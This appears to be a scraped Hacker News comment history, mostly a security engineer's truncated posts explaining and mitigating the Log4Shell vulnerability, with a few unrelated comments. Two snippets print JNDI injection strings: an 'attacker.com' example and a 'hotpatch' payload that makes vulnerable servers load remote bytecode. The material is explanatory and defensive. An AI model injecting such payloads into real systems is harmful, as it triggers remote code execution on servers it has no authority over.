freeqaz

46 ms·

601.
by freeqaz 5y ago
Reading this thread gives me energy to keep working on these posts. It's a massive PITA reading through enterprise Java code to be able to accurately explain this Log4j exploit stuff. It makes me happy that y'all are able to have
602.
by freeqaz 5y ago
Here is said technical deep dive: https://www.lunasec.io/docs/blog/log4shell-live-patch-techni... I've gotta add a section on decompiling byte code but I'll finish adding it in the morning. It's clo
603.
by freeqaz 5y ago
Thread on this from yesterday: https://news.ycombinator.com/item?id=29561532
604.
by freeqaz 5y ago
This was an absolutely fascinating read. Thanks for sharing!
605.
by freeqaz 5y ago
We'll get on this tomorrow to help make this right. It's hard work dealing with all of the complexity that comes from parsing and patching Java packages! (that's part of the reason we wrote our exploit payload to patch a runn
606.
by freeqaz 5y ago
We just pushed a follow-up post[0] to talk about why the hell we thought this crazy exploit thing might be a good idea. (spoiler: Log4Shell is actually forcing companies to deal with tech debt via dependency hell) I'll finishing writin
607.
by freeqaz 5y ago
Shoot me an email -- we are also offering this "live patching" idea as a service now (due to Log4Shell). free at lunasec daht io (or use the contact form on https://www.lunasec.io instead) It's just a Java depende
608.
by freeqaz 5y ago
That's definitely very fair! You could throw it into the constructor of your app right after you init log4j, at least. I've been surprised (and horrified) to learn that there are companies out there that _can't reboot their s
609.
by freeqaz 5y ago
It uses the Log4Shell exploit to load some Java bytecode (read through this[0] blog post for context on Log4Shell). Then, once it loads that code, it scans the memory of the system and rewrites the various log4j classes that are loaded in m
610.
by freeqaz 5y ago
Author here. It's not actually a "bug", per se. It's actually a (very misguided) feature! Here it is in the docs: https://logging.apache.org/log4j/2.x/manual/lookups.html#Jnd... > By de
611.
by freeqaz 5y ago
We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log s
612.
Log4Shell update: second Log4j vulnerability published(lunasec.io)
698 points by freeqaz 5y ago|278 comments
613.
by freeqaz 5y ago
We spent a few hours writing this today due to the sh*tstorm that's hit the internet since this 2nd CVE was posted up. It took us some time to do a security analysis of it and to publish our findings. If you've patched against Log
614.
Guide: How to Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228)(lunasec.io)
2 points by freeqaz 5y ago|1 comments
615.
by freeqaz 5y ago
While most people spent their weekend dealing with the fallout from this, I spent mine working on this mitigation guide + the tooling to automate detection of vulnerable log4j versions. I figure this is probably the right place for this. I&
616.
by freeqaz 5y ago
Thanks for writing up this fix. I quoted it in the post here: https://www.lunasec.io/docs/blog/log4j-zero-day/#temporary-m...
617.
by freeqaz 5y ago
Thanks, dang!
618.
by freeqaz 5y ago
There is also a patch available in `log4j-2.15.0-rc1` now. https://github.com/apache/logging-log4j2/releases/tag/log4j-...
619.
by freeqaz 5y ago
When log4j is handed the string "${jndi:ldap://attacker.com/a}", it attempts to load a logging config from the remote address. The attacker can test for vulnerable servers by spamming the payload everywhere, and the
620.
by freeqaz 5y ago
There are some more details in this post we wrote up earlier[0]. Feel free to throw me any questions (I'm a security engineer). 0: https://www.lunasec.io/docs/blog/log4j-zero-day/
621.
by freeqaz 5y ago
Here's a write up on the exploit and how to patch it. We just wrote this up and posted it a few minutes ago (before this was even on HN, lol). https://www.lunasec.io/docs/blog/log4j-zero-day/
622.
RCE 0-day exploit found in log4j, a popular Java logging package(lunasec.io)
57 points by freeqaz 5y ago|1 comments
623.
How Data Breaches happen and why Secure by Default software is the future(lunasec.io)
1 points by freeqaz 5y ago|0 comments
624.
by freeqaz 5y ago
I'd recommend checking out AI Dungeon 2 as well (pay for the "Dragon" engine to use GPT-3). While I agree with you that it's not an AGI, it's still _insane_ what it's capable of doing. I've been able to de
625.
by freeqaz 5y ago
> I've had good luck in slack orgs, don't be marketing or fishing for users. Get to know the group before making an ask Sweet, thanks for the feedback! I'll definitely go check out some communities of related projects and
626.
Ask HN: Best way to get feedback from developers?
3 points by freeqaz 5y ago|4 comments
627.
Open Source privacy-friendly firmware replacement for Robot Vacuums (ie Roombas)(github.com)
3 points by freeqaz 5y ago|1 comments
628.
by freeqaz 5y ago
This is something I've been eyeing for a while and that I'd like to see if anybody in the HN has already explored this. My crappy non-branded Roomba is dying, and I'd like to get a new one that has fancy features like LIDAR t
629.
by freeqaz 5y ago
If you made this into an open source project (even just some hacked together scripts) I would definitely take a crack at helping tweak it! Especially if you're able to do on device -- that'd be incredible. Otherwise, I'm happ
630.
by freeqaz 5y ago
I agree with FaceID being less dependable. That's my biggest annoyance. It's awkward with the pandemic because you have to lift your mask up briefly in public to use your phone, or sit there typing a long password. I had an iPhone

More ›